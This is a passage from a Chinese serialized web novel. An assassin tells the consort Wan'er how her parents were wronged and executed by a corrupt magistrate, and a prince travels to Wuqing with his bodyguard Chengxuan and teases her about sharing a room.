婉儿脸上笑容更盛,带着春风般的暖意,她对着幽梦招招手:“幽梦妹妹,来,别站着了,过来坐这儿。” 这声“妹妹”叫得自然又亲昵。 幽梦被这一声叫得身体微僵,纷乱思绪被强行拉回。 看着婉儿毫无架子、只有真诚善意的脸,她心中的弦似乎被拨动。 犹豫一瞬,还是遵从地走到婉儿身侧的绣墩前坐下,腰背依旧挺直,如待出鞘之剑,但眼神中的戒备稍减。 “别这么绷着,”婉儿轻笑,伸手轻轻拍了拍幽梦放在膝上、微微握拳的手,“以后常伴我身边,就是最亲近的人了。放松些,就当是姐妹间聊聊天。” “夫人言重,卑职不敢……”幽梦低声道。 “什么卑职不卑职?”婉儿佯作嗔怪,随即展颜,笑容如暖阳,“世子派你到我身边,将他最珍视之人的安危托付于你,这是对你何等的信任!而这份信任,也让我同样信任你!所以,” 婉儿直视幽梦英气的眼眸,目光真挚,“我是真心实意,想认下你这个妹妹!你可愿意?” “妹……妹妹?”幽梦喃喃,眼神瞬间翻涌起复杂波澜。 二十年腥风血雨,“姐妹”在天道里不过是冰冷的代号,从未有过温情。 更遑论对方是尊贵的世子妃? 巨大的差异和突如其来的善意,让她惶恐又有一丝隐秘渴望。 她下意识摇头:“夫人!这……万万使不得!卑职低微,怎敢与夫人姐妹相称?于礼不合!” “傻妹妹,”婉儿主动握住幽梦那只带有薄茧、冰凉的手,温暖传递,幽梦指尖几不可察地颤了一下。 婉儿声音带着安心的力量:“什么身份高低,什么礼法规矩?在我上官婉儿眼中,情义远胜虚礼!世子信你,我便信你!我既信你,便愿真心待你如妹!” 她握紧幽梦的手,眼神灼灼,“你只需告诉我,可愿认我这个姐姐?” 那包裹手掌的暖意,顺着指尖蔓延至心尖。 幽梦看着婉儿清澈见底、毫无作伪、只有真诚与期待的眸子,心中那道坚硬壁垒第一次出现裂痕。 被接纳、被珍视的感觉陌生又让她悸动。 她喉咙发紧,在温柔目光的注视下,缓慢却无比坚定地点头,声音带上一点沙哑:“我……愿意。听姐姐的。” 这一声“姐姐”,轻若蚊蚋,却耗尽了她所有勇气。 婉儿笑容盛放如牡丹,明媚欢喜:“好!太好了!” 她用力握了握幽梦的手,“呵呵呵呵,那以后我们便是姐妹了!可不许再自称卑职了,多生分!” “是,姐姐。”幽梦点头,声音顺畅了些,一丝暖流悄然生起。 婉儿这才松开手,身体微微前倾,带着恰到好处的好奇与关切:“那……现在可以告诉姐姐了吗?关于你家里的故事?” 她的眼神温和鼓励,“以后我们即是姐妹,你的心事便是我的心事。说出来,姐姐也替你分担,可好?” 看着婉儿真诚关切的眼睛,幽梦心底最后一丝戒备彻底消散。 她深吸一口气,仿佛抽出了埋在灵魂深处最痛的刺。 英气俊朗的脸上,第一次在婉儿面前卸下所有坚强面具,流露出深藏的疲惫与浓重得化不开的悲愤。 “好,其实……也没什么好说的……姐姐……” 幽梦的声音像秋风中飘落的枯叶,目光空洞地投向远处,仿佛穿透时空,回到了沧州府下那个叫溪林的小村。 “那是很久很久之前了……” 房间内烛火轻微摇曳,熏香袅袅上升。 她深深吸了一口气,那呼吸沉重得仿佛压着千钧巨石,再缓缓吐出时,声音已然带上了不易察觉的嘶哑。 “那时,我们家不算大富大贵,但也算得上殷实农家。父母勤劳恩爱,守着几亩薄田,日子清贫,却也安稳和睦。我记得屋前有一小片桑田,母亲总在那里忙碌,爹爹下地回来会把我扛在肩头看落日那是……是我这辈子唯一的快乐时光……” 她的声音微微哽咽,眼中第一次氤氲出水汽,但在那层薄雾之下,是汹涌的痛苦。 婉儿的心瞬间揪紧,她的手无意识地覆在幽梦紧握成拳、微微颤抖的手上,传递着无声的支撑。 “但那样的日子太短了……” 幽梦猛地吸了一下鼻子,强行压下喉头的哽咽,声音陡然变得冰冷压抑。 “后来……沧州大旱!三年滴水未落!田地颗粒无收!赤地千里,饿殍遍野……家里那点存粮很快见底。爹娘变卖了家中一切值钱的东西,也只够换回几把发霉的谷糠。” 她的指甲几乎要嵌进掌心的肉里,声音因极度的痛苦而变得艰涩:“我们实在是活不下去了。父亲带着我们,投奔爷爷的老宅,在更北边的一个镇子上。爷爷是当地的小地主……” 提到“爷爷”,幽梦的瞳孔骤然缩紧,眸子里迸射出刻骨的恨意! 这恨意如此浓烈,让婉儿都感到一阵心悸。 “起初,爷爷看在骨血的份上给了我们一间偏房栖身。奶奶那时身体已不大好。母亲才二十出头,勤劳肯干。为了报答收留之恩,也为了养活我和年幼的弟弟,她起早贪黑,承担了爷爷家大半的家务和帮工,缝补浆洗,样样做到最好……手都磨出了厚厚的茧子……” 幽梦的声音再次带上了哽咽的颤音,是对母亲无微不至的痛惜。 “可……那个老畜生!那个披着人皮的禽兽!” 幽梦的情绪陡然失控! 她猛地抬起头,双眼赤红,胸膛剧烈起伏,声音从牙缝里挤出来,带着泣血的嘶喊:“他看上了母亲年轻的美貌!在一次祖母去庙里上香祈福的空隙……他他竟然把母亲堵在柴房!威逼利诱,母亲拼死抵抗……那老东西却……” 幽梦浑身颤抖得如同风中落叶,声音因为极度的愤怒和屈辱撕裂开来。 “……却抓住了我的弟弟!掐着他的脖子对我母亲吼道:‘不从我?我就把这小崽子活活摔死!再把你们一家全都赶出去!饿死在荒郊野岭!看谁敢管?!’” 婉儿捂住了嘴,美目中充满了震惊和痛楚,她能想象那一刻的绝望! 这是何等的人间惨剧! “母亲……母亲为了弟弟,为了我们……” 幽梦的泪水再也无法抑制,大颗大颗地滚落,砸在她紧握的拳头上,“她……她妥协了……接受了那长达数年的地狱般的折磨!!” 第594章 失手杀父 她每一个字都像从肺腑里抠出来,带着血淋淋的腥气。 “那个老东西把她当作了发泄欲望的工具!常常……常常就在夜深人静时闯进我们住的偏房!母亲只能死死地捂住我的耳朵……捂住弟弟的眼睛……可我能听到……我能听到她压抑的、断断续续的啜泣声……那声音像刀子一样!日日夜夜地割我的心啊!!” 她发出野兽般的低嚎,泪水混合着无尽的悲愤奔流直下。 “可纸终究包不住火!终于……父亲……那个老实了一辈子的父亲,他在一个深夜亲眼撞见了!” 幽梦的声音充满撕裂般的痛楚,“父亲疯了!像一头绝望的狮子冲进去质问那个老畜生!他质问‘爹!你怎么能这样对我们!这样对她?!’他想要和那老东西拼命!” 幽梦猛地站起身,身体因为剧烈的情绪而摇摇欲坠,婉儿连忙扶住她。 “推搡?争斗?拉扯?”她惨笑着,泪水模糊了她的视线,“我没看清,只知道混乱中,那个作威作福一辈子的老东西脚下一滑……后脑勺磕在了他自己房里供桌角上!” 幽梦的身体剧烈地抽搐着,仿佛身临其境,“就那么一下……当场就没了气!!” 婉儿的心沉到了谷底,她紧紧握住幽梦冰冷如铁的手。 “完了!一切都完了!”幽梦的声音变得虚浮,带着巨大的恐惧。 “那老妖婆……我的奶奶!她根本不问青红皂白!她哭天抢地地报了官!骂我父亲是弑父的畜生!人证是她,物证是死在爷爷房里的父亲……我们百口莫辩!” 幽梦的眼中彻底失去了光彩,只剩下冰冷的绝望。 “县衙……那个县太爷!他端坐高堂,穿着青天大老爷的官服,一脸的假仁假义!他……他根本不要听父亲的辩解!父亲在堂上声泪俱下,跪着哭喊:‘大人!是他……是他先玷污我妻数年啊!’父亲想把真相说出来!他像个快要淹死的人抓住最后一根稻草!” “可那狗官!他竟然猛地一拍惊堂木!吼道:‘混账!一派胡言!竟敢污蔑已逝老父清誉!此为不孝!弑父伤天害理!此为不仁!两罪并罚,按律当诛!’他竟然直接给父亲定了弑父之罪!母亲……可怜的母亲,那个被侮辱被损害了几年、饱受折磨的女人……那狗官竟判她一个‘忤逆人伦,与公公通奸败德’!判了当堂杖毙!” 幽梦发出凄厉的尖叫,仿佛那杀威棒正打在自己母亲的身上! 婉儿听得浑身发冷,巨大的愤怒和悲伤扼住了她的喉咙,泪水无声滑落。 幽梦浑身颤抖,如同被抽走了所有骨头般软倒在椅子上,声音如同蚊蚋,却字字泣血:“我父母就在那污秽的公堂之上被活生生打死……双双毙命,那县太爷……那狗官!他还假惺惺地说要‘震慑邪风、淳化乡里’!竟然下令让人将我父母……暴尸三日!还在我们溪林村口!在村口那棵大槐树下!立了一座高高的石牌坊!!” “牌……牌坊上面……用……用血红的字……刻了……刻了……” 她每一次开口都像是承受着凌迟般的痛苦,那几个字仿佛带着剧毒,撕裂着她的灵魂: “——‘杀父通奸,人神共弃’!” 这八个字,如同最恶毒的诅咒,带着滚烫的烙铁,狠狠地烙印在幽梦的灵魂深处! 这是悬在她父母污秽尸骨上的恶名! “呜……呜呜呜……那牌坊……那鲜红刺眼的字……就那么立在那里,立了快二十年了啊……姐姐!” 幽梦终于彻底崩溃,扑在婉儿怀里嚎啕大哭! 那哭声撕心裂肺,充满了孩子般的无助、愤怒和毁灭一切的绝望! 二十年的冰冷、压抑、血泪在此刻轰然决堤! “我看着爹娘的尸体被官府的人拖走……我跪在村口……对着那石牌坊……我能怎么办?!我才六岁,我护不了他们,我只能眼睁睁看着,看着那屈辱的石碑立在那里,刻着那恶毒的字眼!” “日日夜夜!时时刻刻!提醒着我!父母是怎么死的!他们背负着怎样不公的滔天骂名!!” 她的拳头疯狂地捶打着婉儿的脊背(婉儿只是默默承受,紧紧抱住她),声音破碎嘶哑得不成样子。 “我爹不是败类!我娘不是贱妇!他们是被逼死的!是被冤枉致死的!!是那吃人的老畜生!是那个昏聩无能的狗官!是这个世道!!” 巨大的悲痛和无力感让幽梦在婉儿怀里哭到浑身痉挛,涕泪横流,那积累多年的滔天恨意和血泪,如同决堤的洪水,汹涌喷薄! 不知过了多久,她才在婉儿温暖的怀抱中,如同耗尽所有力气般,哭声渐渐止歇,只剩下细微的、绝望的抽噎。 她抬起头,通红的双眼如同被血水浸泡过,里面只剩下冰冷的麻木和对世道彻底的绝望。 “从那以后,我带着年幼的弟弟像野狗一样逃进了深山……几年后我加入天道……” “我知道天道是杀手组织,可你知道我为什么还加入吗?但因为我恨!恨所有穿着那身官皮的人,他们不分青红皂白,他们徇私枉法,他们草菅人命,他们毁了我父母清白,还要用石头刻下污名!我杀他们,一个又一个,用他们肮脏的血来洗刷我心中的恨!” 她猛地抓住婉儿的手,眼中爆发出最后一丝不甘的光芒。 “可是……可是姐姐……” 她的声音再次颤抖起来,充满了巨大的无力感,那份从崩溃后残存的清醒让她更加痛苦: “我杀光了整个沧州的官员,沧州不够,又杀去别的地方杀,可我又能怎样呢?我杀再多!也洗刷不掉我父母身上的污名!那张写着杀父通奸的石牌坊……它还在!它永远立在那里!像一个巨大的耳光!狠狠地扇在我脸上!!告诉我……我所做的一切……都没用!” “呜呜……”她再次伏在婉儿肩头痛哭,这一次是深深的、绝望的无力感。 即便拥有顶尖杀手的武力,即便可以手刃那些害过她父母的直接、间接仇人,她却永远无力对抗那由权力和偏见铸成的、冰冷而沉重的石牌坊! 那不仅仅是一座石碑,更是一座永远压在父母坟头、也压在她心头的耻辱柱! 婉儿紧紧搂抱着怀中泣不成声的幽梦,自己的泪水也早已沾湿衣襟。 她心中的痛楚和愤怒丝毫不亚于幽梦。 她完全明白了林臻那句“我会派人料理”的分量。 这不是简单的翻案,这更是一场与不公世道、与沉疴旧习、与那污名石坊的战争! 是为亡者招魂! 是要用真正的律法和公义,去击碎那沾满鲜血和污蔑的石碑! 这是远比杀掉几百个官员更难百倍的救赎! 第595章 好像谁都欠她钱似的 婉儿怀中,幽梦的嚎啕痛哭渐渐转为了断断续续的、精疲力尽的抽噎。 泪水已经浸湿了婉儿胸前的衣襟,留下大片深色的痕迹。 婉儿自己的双眼也同样红肿,脸上的泪痕未干。 她紧紧地、怜惜地环抱着怀里这个被巨大伤痛击垮的年轻杀手,如同抱着一个受尽委屈的孩子。 她修长白皙的手,一遍遍,无比轻柔地拍抚着幽梦颤抖的脊背,声音带着泣后的沙哑,却异常坚定: “好妹妹……姐姐知道了……都知道了……” 她深吸一口气,压下喉头的酸涩。 “我早知道你们天道十二仙个个都有辛酸过往,身负血海深仇,这才走到了一起。只是姐姐万万没有想到,你……你这看似最是英气刚强的妹妹,竟背负着如此撕心裂肺的痛楚!” 她的声音里充满了对幽梦深深的疼惜,“傻妹妹,这般蚀骨的仇恨,你独自一人抗了这么多年,可苦了你了……” 婉儿捧起幽梦那张沾满泪痕、此刻只余麻木冰冷的脸庞,让她的视线对上自己的眼睛,一字一句,带着不容置疑的信心说道:“但是妹妹,你听着!相信姐姐!更要相信世子!” 她的目光灼灼生辉,充满了对林臻能力的绝对信任: “世子既然对你说出那番话,他……他必定言出必行!他既说会管,就一定会管到底,而且,姐姐可以告诉你,” 婉儿凑近幽梦的耳边,声音放得更低,却字字清晰如誓言。 “以我对他的了解,他要么不做,要做就必定会做得超出你想象的好,那座污蔑令尊令慈清白的石牌坊会被他推倒,被砸碎,被挫骨扬灰!所有参与构陷、助纣为虐的魑魅魍魉,一个也跑不了!令尊令慈的清白,一定会洗刷干净!会堂堂正正地昭告天下!还他们一个迟来二十年的公道!” 婉儿的承诺如同黑暗中的火炬,燃亮了幽梦空洞眼眸深处的一丝微弱火光。 长久积压的悲痛与绝望,在婉儿坚定不移的保证和温暖的怀抱中,仿佛终于找到了一个宣泄和暂时停泊的港湾。 幽梦紧绷的神经骤然松懈下来,巨大的疲惫如同潮水般将她淹没。 她不再说话,只是像一只终于归巢的倦鸟,将沉重的头颅更深地埋进婉儿温暖馨香的怀抱里,一动不动,仿佛睡了过去,又仿佛只是沉溺在这份来之不易的慰藉中,不愿再起身面对那冰冷的现实。 婉儿也不再言语,只是更紧地抱着她,用无声的陪伴传递着力量。 ...... 武清县,北运河畔。 林臻带着橙萱,并未携带大队人马,仅仅是他们二人两骑,在官道上风驰电掣。 马蹄踏在坚实的路面上,扬起两道长长的烟尘。橙萱策马紧跟在林臻身侧,迎着猎猎风声,终于忍不住侧头大声问道:“喂!就我们两个?你不是世子吗?” 她狐疑地打量了一下四周荒凉的官道:“你不需要多带点护卫吗?万一遇到不长眼的怎么办?” 风声将她的疑问吹得断断续续。 林臻嘴角勾起一抹自信的弧度,微微侧头,声音在风中也异常清晰:“护卫?” 他语气带着戏谑和强大的自信,“你是说府里那些壮汉?还是你天道营里的姐妹?” 他摇摇头,“他们加在一起,再加上你,够我打的吗?” 他特意瞥了橙萱一眼,意味深长。 橙萱被他噎得一窒! 想起之前营中被他那诡异身法制住脚踝的狼狈,一股不服气和羞恼顿时涌上脸,却无从反驳!只能赌气地扭过头:“哼!狂妄自大!” 林臻却不再理会她的不爽,只是朗声道:“我让侯春筹备婚礼去了,没空搭理我们。今天这趟沧州之行,轻车简从,就我们两个!走吧!” 他猛地一夹马腹,战马发出一声长嘶,速度陡然提升! “沧州?!”橙萱惊讶地瞪大了眼睛,“去沧州干什么?那么远?!” 她完全摸不着头脑。 林臻头也不回:“你还不知道幽梦的事?” 橙萱撇撇嘴,一脸不屑:“她?整天一张冰块脸,好像谁都欠她钱似的!她的事她不说,我哪知道?谁爱打听?” 林臻的声音带着一丝深意随风吹来:“去了你自然就知道了。正好……” 他微微顿了顿,声音压低了些,带着一种奇异的诱惑力,“也顺便把那个能让你快速变强的法子告诉你。” 橙萱心中一凛! 快速变强! 这几个字瞬间冲散了她所有的不满和疑惑! 眼中立刻燃起了强烈的探究欲和渴望! “驾!”她不再多问,娇叱一声,胯下骏马同样提速,紧追林臻而去。 一路疾驰,两人免不了交谈几句。 橙萱本就非城府深沉之人,在林臻有意无意的引导下,她的身世也如画卷般在林臻面前展开。 原来她是江南富商之女,家境优渥,从小锦衣玉食,并未遭遇太大人生坎坷。 只是后来家中为拓展北方生意,才辗转来到京城。 因天资极高,被青霞慧眼识珠,选入天道重点培养。 加入天道后,仗着高超的武艺接了些报酬丰厚的任务,财富更是累积不少。 在诸多因血海深仇而变得性情阴郁的天道姐妹中,她这无灾无难、甚至称得上“富贵闲人”的人生经历,确实是独一份的另类存在。 林臻心中了然:难怪这丫头心性跳脱,带着点不谙世事的天真傲气,也难怪她会对力量提升如此执着却又并无幽梦那种深入骨髓的仇恨驱动。 一路疾行,虽非八百里加急,但也快如流星。 一天一夜的奔驰,当那高耸巍峨的武清县城墙轮廓出现在视野尽头时,即使是久居繁华京城的橙萱,也被眼前的景象震撼得微微张开了樱唇! 城墙并非一成不变! 一段长达数百丈的巨大墙体正在热火朝天地加高、加厚! 无数巨大的条石被起重机吊上数丈高的脚手架,工匠们如同蚂蚁般在木架上攀爬劳作,吆喝声、斧凿声、石块碰撞声汇成一片! 尘土升腾,弥漫着一种蓬勃向上的力量感! 这扩建的工程规模,显示出此地远超一般州府的财力与雄心! 第596章 一个房间一张床,这怎么睡? 待穿行过气势磅礴、守卫森严却效率极高的新城门(旧城门未拆,旁边开了更大的新城门),进入城区内部,那扑面而来的、沸腾着生机的繁华喧闹,更是让橙萱应接不暇! 宽阔得能容纳四辆马车并行的主干道青石板铺就,干净整洁! 街道两旁,鳞次栉比的店铺招牌林立,绸缎庄、粮油行、当铺、茶肆、酒楼、金银首饰铺子……各色买卖,无所不包! 人流摩肩接踵,操着各地口音的商人、身着粗布短打的工匠、穿着华服的士绅、提篮叫卖的小贩、背着书箱的学子……熙熙攘攘,川流不息! 空气中混合着香料、糕点、烤肉的香气,以及运河吹来的湿润水汽和人潮的喧嚣! 那热闹鼎沸的程度,竟丝毫不在京城核心区域之下! “天啊……”橙萱骑在马上,左顾右盼,口中忍不住发出一声低低的惊叹,“这里……就是武清?这……这也太……太……” 她一时竟找不出合适的词语来形容这扑面而来的繁荣景象。 她出身商贾之家,对经济繁荣度有着本能的敏感! 她清楚地看到,这里的店铺装修大气,顾客盈门,街道规划井然有序,完全没有印象中一些小城市的破败或局促感! 其繁华热闹,甚至带着一种正在野蛮生长的、京城都不具备的冲劲! 林臻看着橙萱那没见过市面的惊喜模样,嘴角不易察觉地弯了弯。 他知道,除了京城外,这里就是张俪倾注心血最多的地方,也是他穿越过来后第一个规划的重点经济特区。 既然是经济特区,自然要有特区的面貌。 他并未停留,带着橙萱熟门熟路地策马穿过繁华的主街,转过几个街角,来到一处临河、门庭若市的五层高大气楼阁前。 楼顶巨大的金字招牌在夕阳下熠熠生辉——“臻萃楼”! 这正是王府在武清最大的旗舰产业! 两人翻身下马。 酒楼门前停满了各式华贵的马车、轿子。 负责迎客跑堂的年轻小厮们穿着整洁的统一服饰,正殷勤地引客、牵马、指挥车轿停放,忙得脚不沾地。 一名机灵的小厮眼尖,立刻小跑过来:“二位客官里面请!是打尖还是住店?” 他笑容满面地招呼,目光落在林臻身上时,似乎觉得有些眼熟,却一时不敢确认。 毕竟他只是基层跑堂,连掌柜都不常能见到真人。 林臻懒得废话,只随意摆摆手,直接跨步就往里走。 那小厮一愣,下意识想拦,旁边一位年纪稍长、显然有点眼力的领班小厮原本在安排车辆,偶然瞥见林臻的侧脸,瞬间如同被雷劈中! 他猛地揉了揉眼睛,再定睛一看! 紧接着,他以迅雷不及掩耳之势从怀中掏出一张叠得方方正正的小卡片,展开来只看了一眼! 那张卡片上,赫然是画师精心绘制、与林臻本人有九分神似的世子小像! 画中林臻穿着一身常服,神态自若。 这是张俪定的铁规矩——武清城内所有王府直属产业高层及跑堂领班,必须人手一张世子画像,每天早晚默记! 以便万一世子亲临能第一时间认出! “噗通!” 那小领班双膝一软,直接跪在了光滑的青石板地面上! “世……世子爷!小的参见世子爷!小……小人有眼无珠!世子爷恕罪!” 他声音激动得发颤,几乎是尖叫着喊出来,额头瞬间冒汗! 旁边的跑堂小厮们都被这突如其来的一跪惊得目瞪口呆,随即反应过来,纷纷跟着扑通跪倒一片,声音颤抖此起彼伏:“参见世子爷!世子爷万福!” 林臻面不改色,只是淡淡地“嗯”了一声。 他径直抬步走进灯火辉煌、人声鼎沸的大堂,对周遭因这动静而投来的惊疑目光视若无睹。 那领班小厮连滚爬带地从地上起来,点头哈腰地抢步到林臻前面引路:“世子爷您楼上请!您的包厢每天都打扫,最是清净!” 他一边引路,一边对另一个腿脚利索的小厮疯狂使眼色:“傻站着干嘛!快!快去请张管事来!世子爷驾到了!快啊!” 那小厮如梦初醒,拔腿就往后面管事房狂奔报信! 林臻踏上铺着柔软波斯地毯的楼梯,橙萱紧随其后。 很快上到顶楼,踏入一条铺着厚实地毯、装饰得极为雅致奢华的走廊。 领班小厮在一间最为宽敞、位置绝佳、门楣上挂着“天字第一号”牌子的房间门口停下,恭敬地掏出钥匙打开门锁,然后轻轻推开沉重的雕花红木门。 “世子爷您请!这就是您的专属包房!”他讨好地说道。 林臻点点头,迈步走了进去。橙萱也跟着好奇地走了进去。 房间内部空间极其宽敞,远超寻常客房! 紫檀木家具沉厚大气,墙上挂着名家字画,角落摆放着形态优美的盆栽紫砂盆松,连墙角的多宝格上也陈设着精美的瓷器。 巨大的轩窗临河,推开便能将蜿蜒流淌的运河和万家灯火尽收眼底,风景绝佳。 地上铺着厚厚的、不知名异域花纹的绒毯,踩上去柔软无声。 然而,这一切奢华的布置,都因为房间正中那张过分宽大、铺着冰丝绸缎软垫的拔步床,吸引了橙萱全部的注意力! 橙萱整个人都傻了! 她站在房间中央,目光直勾勾地盯着那张足够睡下三四个人的大床,再看看屋内唯一一个通向露台的套间隔门。 那显然是放夜壶和洗漱的地方,不是卧室。 以及屋角那张明显只适合小憩的短榻…… 她脑子里嗡的一声! 一个极其荒谬又令人羞愤欲绝的念头瞬间炸开! 他林臻只让开了这一个房间?! 他……他想干什么?! “你!”橙萱猛地转头,俏脸“腾”地一下涨得通红,一直红到耳朵根! 手指颤抖着指向林臻,羞恼地质问几乎要破音: “林臻!你什么意思?!为什么就只开了一个房间?!” “还……还只有一张床?!” “你让我晚上睡哪里啊?!” 第597章 我宁可一百天不睡觉! 林臻却对她的质问置若罔闻。 他仿佛没听见那尖锐的声音,神态自若地踱步到窗边那张铺着厚厚锦垫、宽大舒适得足以当单人床的紫檀木罗汉榻前,姿态闲适地坐了下去,甚至还惬意地往后靠了靠,这才慢悠悠地抬眼看向炸毛的橙萱,语气带着一种气死人的随意: “哦?不满意?”他挑了挑眉,仿佛在说一件微不足道的小事,“这楼是张俪亲自督造的。她设计这天字第一号时,就没想过我会带什么朋友来住。若真有同僚下属随行,自有其他上等厢房安置,何须挤在我这专属的房间里?” 他摊了摊手,一副“这规矩就是这样”的无辜模样,“你若实在不愿与我同处一室……” 他嘴角勾起一抹恶劣的弧度,指了指门外: “喏,自己下去,再开一间便是,账房就在楼下。” 那语气,仿佛在打发一个不懂事的丫鬟。 “你——!”橙萱被他这轻描淡写、甚至带着点驱赶意味的态度彻底激怒了! 她感觉自己像个被耍弄的猴子! 一股巨大的委屈和愤怒让她几乎失去理智! 她二话不说,猛地一跺脚,转身就气冲冲地朝门口大步走去! 动作快得像一阵风! 然而,就在她手即将碰到门环的瞬间,林臻那慵懒中带着戏谑的声音,如同魔咒般在她身后悠悠响起: “哦,对了……”他故意拖长了调子,“房钱得你自己掏啊。” 橙萱的脚步瞬间钉在原地! 她猛地转过身,那双漂亮的大眼睛瞪得溜圆,充满了难以置信的荒谬感! 她指着自己的鼻子,声音因为极度的震惊和愤怒而尖锐起来: “我自己掏钱?!林臻,你有没有搞错?!我是你的护卫!是奉你的命令才来这鬼地方的!住店的钱还要我自己出?!更何况——” 她指着脚下这金碧辉煌的酒楼,气得声音都在发抖,“这整座楼都是你的产业!你跟我说要我自己掏钱开房?!” 林臻坐在罗汉榻上,好整以暇地看着她气得跳脚的模样,脸上的笑容越发灿烂,甚至还带着点无赖般的痞气。 他两手一摊,肩膀微耸,摆出一副“我也没办法”的欠揍表情: “规矩就是规矩嘛。再说了……”他目光意有所指地扫过那张大床,语气暧昧, “我不是已经给你开了房间了吗?喏,那么大一张床,睡我们两个绰绰有余。是你自己不愿意非要另开一间,那这额外的开销自然得你自己承担咯。” 他笑得像只偷腥成功的狐狸。 “孤男寡女!同床共枕?!” 橙萱被他这无耻的逻辑气得浑身发抖,俏脸涨得通红,连小巧的鼻尖都气红了, “林臻!你简直无耻之尤!我又不是你的小妾!更不是你花钱买的玩物!凭什么要跟你睡一张床?!你休想!” 林臻看着眼前这只炸毛的小猫,玩心大起。 他身体微微前倾,目光灼灼地盯着橙萱那双因愤怒而格外明亮的眸子,声音压低,带着一种蛊惑般的诱惑: “小橙萱别那么激动嘛。这样……”他舔了舔嘴唇,笑容坏得让人想揍他, “如果你愿意跟我挤一挤,睡一张床的话,我今晚就把那个能让你快速提升实力的法子告诉你?怎么样?这笔交易很划算吧?” 他故意将“挤一挤”和“睡一张床”说得极其暧昧。 “无耻!下流!!”橙萱如同被踩了尾巴的猫,瞬间炸毛!她指着林臻,气得语无伦次, “你……你做梦,想都别想!我橙萱宁可露宿街头,也绝不会让你碰我一根手指头!!” 吼完,她再也无法忍受这混蛋的调戏和羞辱,猛地拉开房门,带着一股决绝的怒气,头也不回地冲了出去! 房门被她摔得“砰”一声巨响,震得门框都嗡嗡作响! 房间里,林臻看着那还在微微晃动的门板,终于忍不住爆发出一阵畅快淋漓、得意洋洋的大笑声! “哈哈哈哈哈哈——!” 这笑声在空旷奢华的房间里回荡,充满了恶作剧得逞的快意。 他是真心觉得,逗弄这个心思单纯、容易炸毛的小萝莉杀手。 实在是……太有趣了! 一夜无话(对林臻而言)。 翌日清晨,阳光透过巨大的雕花窗棂,洒在“臻萃楼”一楼雅致的大堂里。 空气中弥漫着刚出炉的包子、油条和米粥的香气。 林臻坐在靠窗一张干净的八仙桌旁,面前摆着一笼热气腾腾、皮薄馅大的肉包子,一碗熬得浓稠金黄的小米粥,几碟精致小菜。 他正慢条斯理地夹起一个包子,刚咬了一口,就看到楼梯口处,橙萱顶着一头有些凌乱的双马尾丸子头,脚步虚浮、睡眼惺忪、一脸憔悴地走了下来。 她那双漂亮的大眼睛下面,挂着两个清晰无比的黑眼圈,整个人都散发着一种“生人勿近”的低气压。 林臻看到她这副模样,眼中闪过一丝了然的笑意。 他咽下口中的包子,对着橙萱招了招手,声音带着晨起的慵懒:“哟,小橙萱,醒了?过来吃饭。” 橙萱闻声,抬起那双布满血丝、写满怨念的眼睛,狠狠地瞪了林臻一眼! 那眼神,简直像要把他生吞活剥了! 她脚步沉重地挪到桌边,一屁股在林臻对面的凳子上坐下,双手抱胸,小嘴撅得老高,气鼓鼓地扭过头去,看也不看桌上的食物,更不搭理林臻。 林臻看着她这副“全世界都欠我钱”的模样,觉得甚是有趣。 他慢悠悠地喝了口粥,故作不解地问道:“啧,这是怎么了?大清早的,谁惹我们小橙萱生气了?” 他顿了顿,语气带着一丝无辜的调侃,“昨晚不是你自己非要单独开房的吗?我可没逼你跟我睡啊?怎么还一副没睡醒的样子?” “你!!”橙萱被他这明知故问、火上浇油的话气得猛地转过头! 那双大眼睛里瞬间燃起熊熊怒火!她再也忍不住,压低声音(毕竟在公共场合)咬牙切齿地控诉: “还不是因为你!林臻!你这个混蛋!!”她的小胸脯剧烈起伏着, “你让我去住那种那种垃圾厢房!隔音差得要命!!” 她想起昨晚的经历,脸上又羞又怒,红一阵白一阵,“隔壁那对狗男女叫唤了一整夜!那声音……那声音简直不堪入耳!吵得我一宿没合眼!!!” 她越说越气,眼圈都红了,仿佛受了天大的委屈,“我现在脑子里还嗡嗡的呢,全是那些恶心人的声音!!” “噗——!” 林臻刚喝进嘴里的一口小米粥,差点直接喷出来! 他强行憋住,喉结剧烈滚动,硬是把那口粥咽了下去,随即再也忍不住,爆发出一阵惊天动地的狂笑! “哈哈哈哈哈哈哈哈哈!!!”他笑得前仰后合,眼泪都快飙出来了,指着橙萱那副又羞又怒、生无可恋的模样。 “哎哟我的天!哈哈哈哈!笑死我了!谁让你不跟我一起住的?啊?哈哈哈哈!” 他一边笑一边拍桌子,“我那个包厢,那可是张俪花了大价钱,用了最好的隔音材料打造的,别说隔壁叫唤,就是外面打雷都听不见!哈哈哈哈!你自己选的垃圾房间,怪谁?啊?哈哈哈哈!” 橙萱被他这幸灾乐祸、毫无同情心的狂笑气得浑身发抖! 她猛地一拍桌子站起来,俏脸涨得通红,对着林臻发出斩钉截铁的怒吼: “林臻!你……你给我闭嘴!!”她指着林臻的鼻子,一字一句,如同宣誓般吼道: “我告诉你,我就算十天!不!一百天不睡觉!困死在外面!也绝对不会陪你睡的!你就死了这条心吧!哼!!” 吼完,她再也待不下去,也顾不上吃饭,转身气冲冲地跑出了酒楼大门,仿佛再多待一秒都会被林臻那可恶的笑声气炸! 林臻看着她落荒而逃的背影,笑声渐渐止歇,但嘴角那抹恶劣又愉悦的弧度却久久没有散去。 他慢悠悠地夹起一个包子,咬了一口,含糊不清地自语道: “啧,小丫头片子,脾气还挺大。” 第598章 我才不会给你这个无耻机会呢!哼! 橙萱带着委屈和未散的怒气,快步冲出臻萃楼那热闹的门厅。 清晨带着凉意的风拂过她微烫的脸颊,心里的火苗却似乎小了些,但胸口仍堵着一团乱麻似的烦躁。 她用力解开枣红马缰绳的动作带着发泄的意味,指节用力到泛白。 绳子解下握在手里,她的动作却顿住了。 几乎是不受控制的,她微微侧过身,目光越过喧嚣的门口,飞快地扫向酒楼大堂深处。 是期待那个混蛋追出来解释? 还是怕看到他得意洋洋的嘴脸? 她自己也说不清,只觉得心口那份沉重里又多了一丝莫名的不安与焦灼。 门内人影憧憧,食客谈笑,侍者穿梭,却没有那个熟悉的身影出现。 他真的没追来。 这个认知,像一滴冰水落入心湖,让那股积压的怒火彻底冷却熄灭了大半,却让那团乱麻般的烦躁瞬间膨胀! 还夹杂着一丝难以言喻的、空落落的失落,闷闷地堵着,让她无意识地将手中的缰绳紧紧攥了又攥。 少女的心事如同春日的薄雾,朦胧不明,却沉甸甸地压在心头。 然而,护卫的身份和责任,如同一道无形的绳索,将她牢牢束缚在原地。 她不敢走,也不能走。 最终,只能认命般地牵紧缰绳,微垂着头,安静地站在酒楼门廊外的石阶旁,看着街景发呆。 